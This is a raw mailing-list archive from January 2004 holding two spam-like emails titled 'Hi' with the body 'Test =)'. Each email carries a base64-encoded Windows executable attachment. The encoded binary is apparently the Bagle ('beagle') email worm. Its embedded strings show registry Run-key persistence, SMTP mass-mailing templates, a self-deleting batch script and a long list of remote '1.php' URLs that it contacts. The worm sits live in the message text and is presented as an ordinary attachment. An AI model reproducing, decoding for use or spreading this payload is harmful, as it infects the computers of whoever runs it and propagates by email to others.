V0AA6CQPAABqAFBorFdAAFPoZA8AAGoPaAAEAAD/dfxT6NX2//+FwHRs/3X86Cn9//89MzU0 AHVd/3X46I3w//+LVfiLEo1F7FBoAAQAAP918P91+P9SDIN97AB2FGoA/3Xs/3XwU+gODwAA hcB+JuvPag9oAAQAAP91/FPoefb//4XAdBD/dfzozfz//z0yNTAAdQFHU+iuDgAA/3X86KHv ////dfDoLA4AAP91+OiR7////3X06Inv//+Lx1tfXsnCDABVi+xWU2pAagD/dQzowg4AAAvA dB9AUOgw/P//i/ALwHQSVv91CP91DOh5AwAAVujfDQAAW17JwggAVYvsU1ZXi3UQVugeDgAA UIt9FGoQakDotw0AAIvYi1UIi00MgzoAdQSJGusHUYsJiVkIWYkZWIPABFBqQOiRDQAAiQP/ dRBQ6NoNAACJewT/dRiPQwxfXlvJwhQAVYvsgcQk////jUXQUOg0DQAAah6NReFQaLxXQACN RdBQagBqCegKDQAAjUXhUP91COiUDQAAah6NReFQaNBXQACNRdBQaghqCegWDQAAjUXhUP91 COhkDQAAjYUk////UOgEDQAAi4Uk////99iZuTwAAAD3+YXSfQL32lJQaNpXQACNReFQ6EoN AACDxBCAfeEwdQTGReErjUXhUP91COgZDQAAycIEAFWL7IPEsGoUjUXiUOhK6v//ahONReJQ 6GLq//+NRbBQ6DL///9qQGoA/3UM6GINAAALwHQjkv91EFKNReJQ/3UM/3UIjUWwUGisVEAA /3UU6NgMAACDxCDJwhAAVYvsg8TYjUX8UOjC7f//aAAIAABqQOhWDAAAiUXYah6NRd5Q6Nbp //9qD41F3lDoDur///912I1F3lD/dQj/dQzoXv////912Oh9DAAAi1X8ixJqAFD/ddj/dfz/ UhCNRd5QaD5VQAD/ddjoYQwAAIPEDP912OhQDAAAi1X8ixJqAFD/ddj/dfz/UhCLVfyLEmoA aixoZ1ZAAP91/P9SEItV/IsSagBqAmjjV0AA/3X8/1IQjUXeUGieVUAA/3XY6AwMAACDxAz/ ddjo+wsAAItV/IsSagBQ/3XY/3X8/1IQi1X8ixJqAP81GH9AAP81FH9AAP91/P9SEI1F3lBo TVZAAP912OjGCwAAg8QM/3XY6LULAACLVfyLEmoAUP912P91/P9SEP912OhICwAAi0X8ycII AFdTagBqAGoA6MIKAACjRoFAAMcFKoFAAAAAAADHBS6BQAAAAAAAuwUAAAC/MoFAAGoMakDo AgsAAPyrS3XyW1/DVYvsg8T0U1czwItdCGr//zVGgUAA6BYLAACLSwQLyXRc/zGPRfz/cQSP Rfj/cQyPRfT/cQiPQwRR6MIKAAD/NUaBQADozwoAAL8DAAAA/3X0/3X4/3X86PP5//+FwHUD T3/r/3X86JUKAAD/dfjomQoAAP919OiRCgAA6wv/NUaBQADokAoAAP8Lf4EzwF9bycIEAFWL 7IPE/FNq//81RoFAAOiICgAAgz0qgUAABXIKxwUqgUAAAAAAADPSuAQAAAD3JSqBQAAFMoFA AIvYixv/dRDo4QoAAFD/dQzo2AoAAFpSUP91CI1DCFCNQwRQ6DL8////BSqBQACDOwB1G41F /FBqAFNoeCdAAGoAagDofwkAAFDoVQkAAP8D/zVGgUAA6PAJAABbycIMAFWL7FZTi95OTrEB /Tt1CHI0rDwwcgQ8OXYkPEFyBDxadhw8YXIEPHp2FDwudBA8X3QMPC10CArAdQsKyXQHi95D isjrx/yLw1teycIEAFWL7FZTi978sQE7dQhzM6w8MHIEPDl2JDxBcgQ8WnYcPGFyBDx6dhQ8 LnQQPF90DDwtdAgKwHUKCsl0BoveisjryIvDW17JwgQAVYvsi0UMK0UIg/gCfAm4AQAAAMnC CAAzwMnCCABVi+xqLmoA/3UI6M8JAAALwHQUUOhZCQAAg/gCdwQzwOsFuAEAAADJwggAVYvs gcQA/v//VldTx0X0AAAAAIt1CIl1/P91DI9F+AF1+Dt1+A+DowAAAP9F9IF99BAnAAB1DmoB 6NMIAADHRfQAAAAA/Kw8QHV+Vv91/OjM/v//i9j/dfjoEP///4vIK8uB+fQBAABzXoP5BXZZ /Ivzjb0A/v//M9KsCsB0B6o8QHUCi9fi8jPAqgvSdDlSjYUA/v//UOirCAAAWoP4BXYmUo2F AP7//1DoCf///4vYV1LoHf///yPYC9t0Co2FAP7//1D/VRBe6VT///9bX17JwgwAVYvsg8T4 U2oAagBqA2oAagFoAAAAgP91COiCBwAAiUX8QHRaagD/dfzotAcAAIlF+EB0QmoAagBqAGoC agD/dfzoYAcAAAvAdCyL2GoAagBqAGoEUOjWBwAAC8B0ElD/dQz/dfhQ6MD+///o2AcAAFPo GAcAAP91/OgQBwAAW8nCCABoiBMAAGhKgUAA6Djq//+NBU6BQADGAADDVYvsV78yUEAA/IvX M8CDyf/yrlL/dQjoLAgAAAvAdAczwF/JwgQAgD8Add24AQAAAF/JwgQAVYvs/3UI6L////8L wHUEycIEAP91COis6f//UGiIEwAAaEqBQADo5+n//wvAdDCAPU6BQAAAdQ3/dQj/dQjo9vj/ /+sN/3UIaE6BQADo5/j///91CGhOgUAA6DsHAADJwgQAVYvsV78cUEAA/IvXM8CDyf/yrlL/ dQjokwcAAAvAdBJoLCtAAP91COie/v//X8nCBACAPwB10l/JwgQAVYvsg8T0V2gABAAAagDo oAYAAIlF+Gg+AQAAagDokQYAAIlF9P91COjUBgAAi/ho51dAAP91COizBgAA/3X0/3UI6AwG AACJRfxAdHCLRQjGBAcAi1X0jVIsZoM6LnQ/ZoE6Li50OFL/dQjofwYAAItV9I0S9wIQAAAA dBpo5VdAAP91COhlBgAA/3UM/3UI6Gv////rCP91COgl////agHoJQYAAP919P91/OioBQAA hcB1mP91/OiQBQAA/3X46PQFAAD/dfTo7AUAAF/JwggAVYvsg8T8aAAAAQBqQOjDBQAAiUX8 /3UIUOgLBgAAUFDoCf////91/OiuBQAAycIEAFWL7IPE/FZTaAAgAABqQOiQBQAAiUX8/3X8 aP8fAADoVgUAAIt1/IA+AHQcVug2BQAAg/gDdQZW6JL///9W6LsFAAAD8Ebr3/91/OhaBQAA W17Jw2oAagDoJQYAAAvAdAHDaNAHAADoXAUAAOvmw1WL7IPElFNWaAAEAABqQOghBQAAiUX4 aM1WQAD/NQNQQAD/dQhoXlBAAP91+OhjBQAAg8QU6Kv///9qAGoAagBqAWjrV0AA6M0FAACJ RfxqAGgAAABAagBqAP91+FDovAUAAJML23QGU+ifBQAA/3X86JcFAAD/dfjovQQAAJNeW8nC BABX6KHo//8LwHUF6LPj//+/bVBAAPyL1zPAg8n/8q5S6Ff///+APwB17F/DVYvs6M3///9o wCcJAOiXBAAA6+8zwMnCBABVi+yDxPyNRfxQagBqAGjtLUAAagBqAOjpAwAAUOi/AwAAycNV i+yBxKD+//9WV1Nq//81HH9AAOhkBAAAxkX/AMaFrv7//wBqCI2Fr/7//1Doo+H///91DOgc 5v//agBqBWoB/3UM/3UI6Fnr//+FwA+EXAIAAP91DOjo5f//i1UMixJqAGoBjYWu/v//UP91 DP9SDP91DOjd5f//gL2u/v//AnQXgL2u/v//A3QOgL2u/v//BHQF6RYCAABqBWoAaMgAAAD/ dQz/dQjoYOv//4XAD4T6AQAA/3UM6Ibl//+LVQyLEmoAaMgAAACNhTf///9Q/3UM/1IM/3UM 6Hjl//9oAFBAAI2FN////1DopgMAAAvAdAXptwEAAPyNvTf///+4AQAAAKuhA1BAAKtqAGoI jYU3////UP91COjRAwAAgL2u/v//AnQNgL2u/v//Aw+FbQEAAGoAagRqBP91DP91COhf6v// hcAPhGIBAAD/dQzo7uT//4tVDIsSagBqBI2FqP7//1D/dQz/Ugz/dQzo4+T//2oAagT/taj+ ////dQz/dQjoHOr//4XAD4QfAQAA/3UM6Kvk//9oBAEAAI2FN////1DomAIAAGoFjYWv/v// UOhB4P//aPlXQACNhTf///9Q6McCAACNha/+//9QjYU3////UOi0AgAAaAdYQACNhTf///9Q 6KMCAABqAGoAagJqAGoCaAAAAECNhTf///9Q6MgBAACJhaD+//9AD4SbAAAAi1UMixKNhaT+ //9QaIAAAACNhbf+//9Q/3UM/1IMg72k/v//AHQjagCNhaT+//9Q/7Wk/v//jYW3/v//UP+1 oP7//+gtAgAA67b/taD+///oVAEAAIC9rv7//wN1EWgBWEAAjYU3////UOgMAgAAagCNhTf/ //9Q6PIBAACAva7+//8DdRXouuD//+sOgL2u/v//BHUF6Krg////dQjoCAIAAP81HH9AAOij AQAAM8BbX17JwggAVYvsg8TwVldT/wVYV0AAjUX8UOjE4v//agFqBWoI/3X8/3UI6LDo//// dfzoR+P//2oIjUX0UOjO3v//i1X8ixJqAGoIjUX0UP91/P9SDI119IA+Q3UagH4B/3UUZoN+ Av91Df91/P91COjG/P//6wLrAusI/3UI6HcBAAD/dfzoauL///8NWFdAADPAW19eycIEAGoA 6JUBAADon+b//4M9A1BAAAB1FGjIrwAA6AHh//8FiBMAAKMDUEAAaFxXQABo9jBAAP81A1BA AOiw6v//6Dr8//+DPVRXQAAAdAXo8/r//2joAwAA6LEAAADr9Mz/JaRAQAD/JbhAQAD/JbRA QAD/JbBAQAD/JaxAQAD/JZxAQAD/JaBAQAD/JahAQAD/JSRAQAD/JShAQAD/JSxAQAD/JTBA QAD/JTRAQAD/JThAQAD/JTxAQAD/JUBAQAD/JURAQAD/JUhAQAD/JUxAQAD/JVBAQAD/JVRA QAD/JVhAQAD/JVxAQAD/JWBAQAD/JbxAQAD/JWRAQAD/JWhAQAD/JWxAQAD/JXBAQAD/JXRA QAD/JXhAQAD/JXxAQAD/JYBAQAD/JYRAQAD/JYhAQAD/JYxAQAD/JZBAQAD/JZRAQAD/JZhA QAD/JeRAQAD/JTBBQAD/JShBQAD/JSRBQAD/JSBBQAD/JRxBQAD/JRhBQAD/JRRBQAD/JQxB QAD/JQBBQAD/JQRBQAD/JQhBQAD/JRBBQAD/JSxBQAD/JcRAQAD/JchAQAD/JdxAQAD/JdRA QAD/JdhAQAD/JdBAQAD/JfhAQAD/JfRAQAD/JfBAQAD/JexAQAD/JRRAQAD/JRBAQAD/JQxA QAD/JQhAQAD/JRxAQAD/JQBAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAALhHAAAAAAAAdkcAAGJHAABSRwAA REcAAAAAAACWRwAAAAAAALZDAADCQwAA1EMAAORDAAD2QwAACEQAABhEAAAmRAAANkQAAFBE AABmRAAAfEQAAIxEAACeRAAAuEQAANBEAADsRAAA+kQAAAZFAAAWRQAAJkUAAC5FAABGRQAA WEUAAG5FAAB4RQAAhEUAAJBFAACcRQAAqEUAAIhDAACYQwAAOEMAAKhDAAByQwAAZEMAAFhD AABGQwAA3kQAAAAAAAB2RgAAhkYAAAAAAADKRgAAskYAAL5GAACoRgAAAAAAAMJFAAAAAAAA JEcAABRHAAD4RgAA4kYAAAAAAAA8RgAARkYAAE5GAAAwRgAAWEYAACJGAAASRgAACEYAAPpF AADyRQAA6EUAAGBGAADaRQAAAAAAACRCAAAAAAAAAAAAALRFAAAkQAAA5EIAAAAAAAAAAAAA zkUAAORAAAAAQwAAAAAAAAAAAABqRgAAAEEAAMRCAAAAAAAAAAAAAJ5GAADEQAAA0EIAAAAA AAAAAAAA1kYAANBAAADsQgAAAAAAAAAAAAA4RwAA7EAAAAhCAAAAAAAAAAAAAIhHAAAIQAAA HEIAAAAAAAAAAAAAqkcAABxAAAAAQgAAAAAAAAAAAADIRwAAAEAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAuEcAAAAAAAB2RwAAYkcAAFJHAABERwAAAAAAAJZHAAAAAAAAtkMAAMJDAADUQwAA 5EMAAPZDAAAIRAAAGEQAACZEAAA2RAAAUEQAAGZEAAB8RAAAjEQAAJ5EAAC4RAAA0EQAAOxE AAD6RAAABkUAABZFAAAmRQAALkUAAEZFAABYRQAAbkUAAHhFAACERQAAkEUAAJxFAACoRQAA iEMAAJhDAAA4QwAAqEMAAHJDAABkQwAAWEMAAEZDAADeRAAAAAAAAHZGAACGRgAAAAAAAMpG AACyRgAAvkYAAKhGAAAAAAAAwkUAAAAAAAAkRwAAFEcAAPhGAADiRgAAAAAAADxGAABGRgAA TkYAADBGAABYRgAAIkYAABJGAAAIRgAA+kUAAPJFAADoRQAAYEYAANpFAAAAAAAAGgBDbG9z ZUhhbmRsZQAdAENvbXBhcmVGaWxlVGltZQAkAENvcHlGaWxlQQAwAENyZWF0ZUZpbGVBADEA Q3JlYXRlRmlsZU1hcHBpbmdBAAA7AENyZWF0ZU11dGV4QQAARgBDcmVhdGVUaHJlYWQAAIAA RXhpdFByb2Nlc3MAjwBGaW5kQ2xvc2UAkwBGaW5kRmlyc3RGaWxlQQAAnABGaW5kTmV4dEZp bGVBAMgAR2V0Q29tbWFuZExpbmVBAN8AR2V0RGF0ZUZvcm1hdEEAAOgAR2V0RHJpdmVUeXBl QQD1AEdldEZpbGVTaXplAP4AR2V0TG9jYWxUaW1lAAABAUdldExvZ2ljYWxEcml2ZVN0cmlu Z3NBAAcBR2V0TW9kdWxlRmlsZU5hbWVBAAA8AUdldFN5c3RlbURpcmVjdG9yeUEAUgFHZXRU aWNrQ291bnQAAFMBR2V0VGltZUZvcm1hdEEAAFUBR2V0VGltZVpvbmVJbmZvcm1hdGlvbgAA YgFHZXRXaW5kb3dzRGlyZWN0b3J5QQAAZwFHbG9iYWxBbGxvYwBuAUdsb2JhbEZyZWUAAKoB TG9jYWxBbGxvYwAArgFMb2NhbEZyZWUAugFNYXBWaWV3T2ZGaWxlAP0BUmVsZWFzZU11dGV4 AABgAlNsZWVwAGUCU3lzdGVtVGltZVRvRmlsZVRpbWUAAHcCVW5tYXBWaWV3T2ZGaWxlAI8C V2FpdEZvclNpbmdsZU9iamVjdACUAldpbkV4ZWMAngJXcml0ZUZpbGUAtQJsc3RyY2F0QQAA uQJsc3RyY21waUEAuwJsc3RyY3B5QQAAvwJsc3RybGVuQQAAa2VybmVsMzIuZGxsAABiAndz cHJpbnRmQQB1c2VyMzIuZGxsAAAhAFdTQVN0YXJ0dXAAACQAYWNjZXB0AAAlAGJpbmQAACYA Y2xvc2Vzb2NrZXQAJwBjb25uZWN0ACoAZ2V0aG9zdGJ5bmFtZQArAGdldGhvc3RuYW1lADYA aW5ldF9hZGRyADoAbGlzdGVuAAA+AHJlY3YAAEMAc2VsZWN0AABEAHNlbmQAAEkAc29ja2V0 AAB3c29jazMyLmRsbAAxAENvSW5pdGlhbGl6ZQAAawBDcmVhdGVTdHJlYW1PbkhHbG9iYWwA b2xlMzIuZGxsANcAU3RyRHVwQQDmAFN0clJDaHJBAADzAFN0clN0cklBAAD6AFN0clRyaW1B AABzaGx3YXBpLmRsbABpAEludGVybmV0Q2xvc2VIYW5kbGUAewBJbnRlcm5ldEdldENvbm5l Y3RlZFN0YXRlAIYASW50ZXJuZXRPcGVuQQCHAEludGVybmV0T3BlblVybEEAAHdpbmluZXQu ZGxsAIABUmVnQ2xvc2VLZXkAgwFSZWdDcmVhdGVLZXlBAKMBUmVnUXVlcnlWYWx1ZUV4QQAA rgFSZWdTZXRWYWx1ZUV4QQAAYWR2YXBpMzIuZGxsAAAqAEdldE5ldHdvcmtQYXJhbXMAAGlw aGxwYXBpLmRsbAAAbgBTaGVsbEV4ZWN1dGVBAFNIRUxMMzIuZGxsAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMTIAeRoAADE1MS4yMDEuMC4zOQAAAAAA AAAAAC53YWIALnR4dAAuaHRtAC5odG1sAAAucjEAQGhvdG1haWwuY29tAEBtc24uY29tAEBt aWNyb3NvZnQAQGF2cC4AACVzP3A9JWx1JmlkPSVzAGh0dHA6Ly93d3cuZWxyYXNzaG9wLmRl LzEucGhwAGh0dHA6Ly93d3cuaXQtbXNjLmRlLzEucGhwAGh0dHA6Ly93d3cuZ2V0eW91cmZy ZWUubmV0LzEucGhwAGh0dHA6Ly93d3cuZG1kZXNpZ24uZGUvMS5waHAAaHR0cDovLzY0LjE3 Ni4yMjguMTMvMS5waHAAaHR0cDovL3d3dy5sZW9uemVybml0c2t5LmNvbS8xLnBocABodHRw Oi8vMjE2Ljk4LjEzNi4yNDgvMS5waHAAaHR0cDovLzIxNi45OC4xMzQuMjQ3LzEucGhwAGh0 dHA6Ly93d3cuY2Ryb21jYS5jb20vMS5waHAAaHR0cDovL3d3dy5rdW5zdC1pbi10ZW1wbGlu LmRlLzEucGhwAGh0dHA6Ly92aXB3ZWIucnUvMS5waHAAaHR0cDovL2FudG9sLWNvLnJ1LzEu cGhwAGh0dHA6Ly93d3cuYmFncy1kb3N0YXZrYS5tYWdzLnJ1LzEucGhwAGh0dHA6Ly93d3cu NXgxMi5ydS8xLnBocABodHRwOi8vYm9zZS1hdWRpby5uZXQvMS5waHAAaHR0cDovL3d3dy5z dHRuZ2RhdGEuZGUvMS5waHAAaHR0cDovL3doOS50dS1kcmVzZGVuLmRlLzEucGhwAGh0dHA6 Ly93d3cubWljcm9udWtlLm5ldC8xLnBocABodHRwOi8vd3d3LnN0YWR0aGFnZW4ub3JnLzEu cGhwAGh0dHA6Ly93d3cuYmVhc3R5LWNhcnMuZGUvMS5waHAAaHR0cDovL3d3dy5wb2xvaGV4 ZS5kZS8xLnBocABodHRwOi8vd3d3LmJpbm84OC5kZS8xLnBocABodHRwOi8vd3d3LmdyZWZy YXRocGFlbnouZGUvMS5waHAAaHR0cDovL3d3dy5iaGFtaWR5LmRlLzEucGhwAGh0dHA6Ly93 d3cubXlzdGljLXZ3cy5kZS8xLnBocABodHRwOi8vd3d3LmF1dG8taG9iYnktZXNzZW4uZGUv MS5waHAAaHR0cDovL3d3dy5wb2xvemlja2UuZGUvMS5waHAAaHR0cDovL3d3dy50d3ItbXVz aWMuZGUvMS5waHAAaHR0cDovL3d3dy5zYy1lcmJlbmRvcmYuZGUvMS5waHAAaHR0cDovL3d3 dy5tb250YW5pYS5kZS8xLnBocABodHRwOi8vd3d3Lm1lZGktbWFydGluLmRlLzEucGhwAGh0 dHA6Ly92dmNnbi5kZS8xLnBocABodHRwOi8vd3d3LmJhbGxvbmZvdG8uY29tLzEucGhwAGh0 dHA6Ly93d3cubWFyZGVyLWdtYmguZGUvMS5waHAAaHR0cDovL3d3dy5kdmQtZmlsbWUuY29t LzEucGhwAGh0dHA6Ly93d3cuc21lYW5nb2wuY29tLzEucGhwAABEYXRlOiAlcw0KVG86ICVz DQpTdWJqZWN0OiBIaQ0KRnJvbTogJXMNCk1lc3NhZ2UtSUQ6IDwlcyVzPg0KTUlNRS1WZXJz aW9uOiAxLjANCkNvbnRlbnQtVHlwZTogbXVsdGlwYXJ0L21peGVkOw0KICAgICAgICBib3Vu ZGFyeT0iLS0tLS0tLS0lcyINCg0KAC0tLS0tLS0tLS0lcw0KQ29udGVudC1UeXBlOiB0ZXh0 L3BsYWluOyBjaGFyc2V0PSJ1cy1hc2NpaSINCkNvbnRlbnQtVHJhbnNmZXItRW5jb2Rpbmc6 IDdiaXQNCg0KAC0tLS0tLS0tLS0lcw0KQ29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi94LW1z ZG93bmxvYWQ7IG5hbWU9IlslJVJBTkQlJV0uZXhlIg0KQ29udGVudC1UcmFuc2Zlci1FbmNv ZGluZzogYmFzZTY0DQpDb250ZW50LURpc3Bvc2l0aW9uOiBhdHRhY2htZW50OyBmaWxlbmFt ZT0iWyUlUkFORCUlXS5leGUiDQoNCgANCg0KLS0tLS0tLS0tLSVzLS0NCg0KLg0KACBUZXN0 ID0pDQpbJVJBTkQlXVslUkFORCVdDQotLQ0KVGVzdCwgeWVwLg0KOmwNCmRlbCAlMQ0KaWYg ZXhpc3QgJTEgZ290byBsDQpkZWwgJTAAYS5iYXQAb3BlbgBxAgAAzQ0BAAAAAAAAAAAAAAAA AAAAAAAAAAAAY2FsYy5leGUAb3BlbgBTT0ZUV0FSRVxXaW5kb3dzOTgAdWlkAFNPRlRXQVJF XE1pY3Jvc29mdFxXaW5kb3dzXEN1cnJlbnRWZXJzaW9uXFJ1bgBkM2R1cGRhdGUuZXhlAFxi YmVhZ2xlLmV4ZQBmcnVuAAAAAAAAAAAAAAAAAAAsACAsDQoAPAA+AENDOiAAQkNDOgBUbzog AEhFTE8gJXMNCgBSU0VUDQoATUFJTCBGUk9NOjwlcz4NCgBSQ1BUIFRPOjwlcz4NCgBEQVRB DQoAWyVSQU5EJV0AZGRkJywnIGRkIE1NTSB5eXl5IABISDptbTpzcyAAJTAzaSUwMmkADQpc ACouKgBiZWFnbGVfYmVhZ2xlAFxic3VwbGQAIC11cGQALmV4ZQAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAgADAAAAIAAAgA4AAAA4AACAAAAAAAAAAAAAAAAAAAABAAEAAABQAACA AAAAAAAAAAAAAAAAAAABAAEAAABoAACAAAAAAAAAAAAAAAAAAAABAAAAAACAAAAAAAAAAAAA AAAAAAAAAAABAAAAAACQAAAAoJAAAOgCAAAAAAAAAAAAAIiTAAAUAAAAAAAAAAAAAAAoAAAA IAAAAEAAAAABAAQAAAAAAIACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAICAAIAA AACAAIAAgIAAAMDAwACAgIAAAAD/AAD/AAAA//8A/wAAAP8A/wD//wAA////ABERERERERER ERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERER EREREREREREREREREREREREREQAAAAAAAAAAAAAAAAAAARZkREREREREREREREREREAW5mZm ZmZmZmZmZmZmZmZAFvZgAGAAYABgAGAAAABmQBbmb3BvcG9wb3Bvd3dwZkAW9m/wb/Bv8G/w b///8GZAFuZmZmZmZmZmZmZmZmZmQBb2YABgAGAAYABgAGAAZkAW5m9wb3BvcG9wb3BvcGZA FvZv8G/wb/Bv8G/wb/BmQBbmZmZmZmZmZmZmZmZmZkAW9mAAYABgAGAAYABgAGZAFuZvcG9w b3BvcG9wb3BmQBb2b/Bv8G/wb/Bv8G/wZkAW5mZmZmZmZmZmZmZmZmZAFvZgd3d3d3d3d2Zm ZmZmQBbmYP////////dmZmZmZkAW9mB3d3d3d3d3ZmZmZmZAFuZgAAAAAAAAAGZmZmZmQBb+ /v7+/v7+/v7+/v7+/kARZmZmZmZmZmZmZmZmZmZhERERERERERERERERERERERERERERERER ERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERER ERERERERERERERERERERERER///////////////////////////AAAABgAAAAIAAAACAAAAA gAAAAIAAAACAAAAAgAAAAIAAAACAAAAAgAAAAIAAAACAAAAAgAAAAIAAAACAAAAAgAAAAIAA AACAAAAAgAAAAMAAAAH///////////////////////////////8AAAEAAQAgIBAAAQAEAOgC AAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA= ----------403654051214462-- Received: from above.proper.com (localhost [127.0.0.1]) by above.proper.com (8.12.10/8.12.8) with ESMTP id i0J6Ejib018446; Sun, 18 Jan 2004 22:14:45 -0800 (PST) (envelope-from owner-ietf-mta-filters@mail.imc.org) Received: (from majordom@localhost) by above.proper.com (8.12.10/8.12.9/Submit) id i0J6EjaG018445; Sun, 18 Jan 2004 22:14:45 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-mta-filters@mail.imc.org using -f Received: from muztagh ([203.224.135.188]) by above.proper.com (8.12.10/8.12.8) with SMTP id i0J6Ebic018357 for <ietf-mta-filters@imc.org>; Sun, 18 Jan 2004 22:14:39 -0800 (PST) (envelope-from phoffman@imc.org) Date: Mon, 19 Jan 2004 15:14:30 +0900 To: ietf-mta-filters@imc.org Subject: Hi From: phoffman@imc.org Message-ID: <leoorltctrdgfeqdpoi@imc.org> MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="--------357723350507838" Sender: owner-ietf-mta-filters@mail.imc.org Precedence: bulk List-Archive: <http://www.imc.org/ietf-mta-filters/mail-archive/> List-ID: <ietf-mta-filters.imc.org> List-Unsubscribe: <mailto:ietf-mta-filters-request@imc.org?body=unsubscribe> ----------357723350507838 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit Test =) qsynlkea -- Test, yep. ----------357723350507838 Content-Type: application/x-msdownload; name="taxkrybrqch.exe" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="cqwhdhaamhi.exe" TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAyAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4g RE9TIG1vZGUuDQ0KJAAAAAAAAADchu8bmOeBSJjngUiY54FImOeBSJvngUgW+JJIxeeBSGTH k0iZ54FIX+GHSJnngUhSaWNomOeBSAAAAAAAAAAAAAAAAAAAAABQRQAATAEEAN9uCkAAAAAA AAAAAOAADwELAQUMACQAAABCAAAAAAAAijEAAAAQAAAAQAAAAABAAAAQAAAAAgAABAAAAAAA AAAEAAAAAAAAAACgAAAABAAAOScBAAIAAAAAABAAABAAAAAAEAAAEAAAAAAAABAAAAAAAAAA AAAAADhBAADIAAAAAJAAAKADAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAOAEAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAGJlYWdsZQAAhiMAAAAQAAAAJAAAAAQAAAAAAAAAAAAAAAAAACAA AGAucmRhdGEAANQHAAAAQAAAAAgAAAAoAAAAAAAAAAAAAAAAAABAAABALmRhdGEAAABONQAA AFAAAAAKAAAAMAAAAAAAAAAAAAAAAAAAQAAAwC5yc3JjAAAAoAMAAACQAAAABAAAADoAAAAA AAAAAAAAAAAAAEAAAMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAFWL 7Ff8i30Ii00MwekCM8DjAvOri00Mg+ED4wLzql/JwggAVYvsV1OLXQyLfQhqGeh1AgAAg8Bh /KpLdfFbX8nCCABVi+xXU4tdDIt9CGoJ6FUCAACDwDD8qkt18VtfycIIAFWL7IPE/FP/dQjo WiIAAIvY/3UQ6FAiAAAD2IPDEFNqQOjpIQAAiUX8/3UM/3UI6KciAAALwHQzxgAAi9j/dQzo JCIAAAPY/3UI/3X86BEiAAD/dRD/dfzo+iEAAFP/dfzo8SEAAItF/OsK/3X86KIhAAAzwFvJ wgwAVYvsg8T8VldTx0X8AAAAAIt1CIt9DItNEDPAM9usweAI4gfB4AhDQ+sLrMHgCOIDQ+sC rElRagRZUcHCCIrQgOI/wegG4vNZ6C8AAACSq5L/RfyDffwSdQ/HRfwAAAAAUGa4DQpmq1hZ C8l1rovLK/mwPfOqW19eycIMAID6PnMXgPozdw2AwkGA+lp2A4DCBusOgML86wmA6j7A4gKA wivBwgji1sNVi+yDxOxoAAQAAGpA6NwgAACJRfRoAAQAAGpA6M0gAACJRfBoAAQAAGpA6L4g AACJRexoBAEAAP919GoA6IggAAD/dfT/dfDo9SAAAGpcagD/dfDoWyEAAAvAdQXpgAAAAEBo 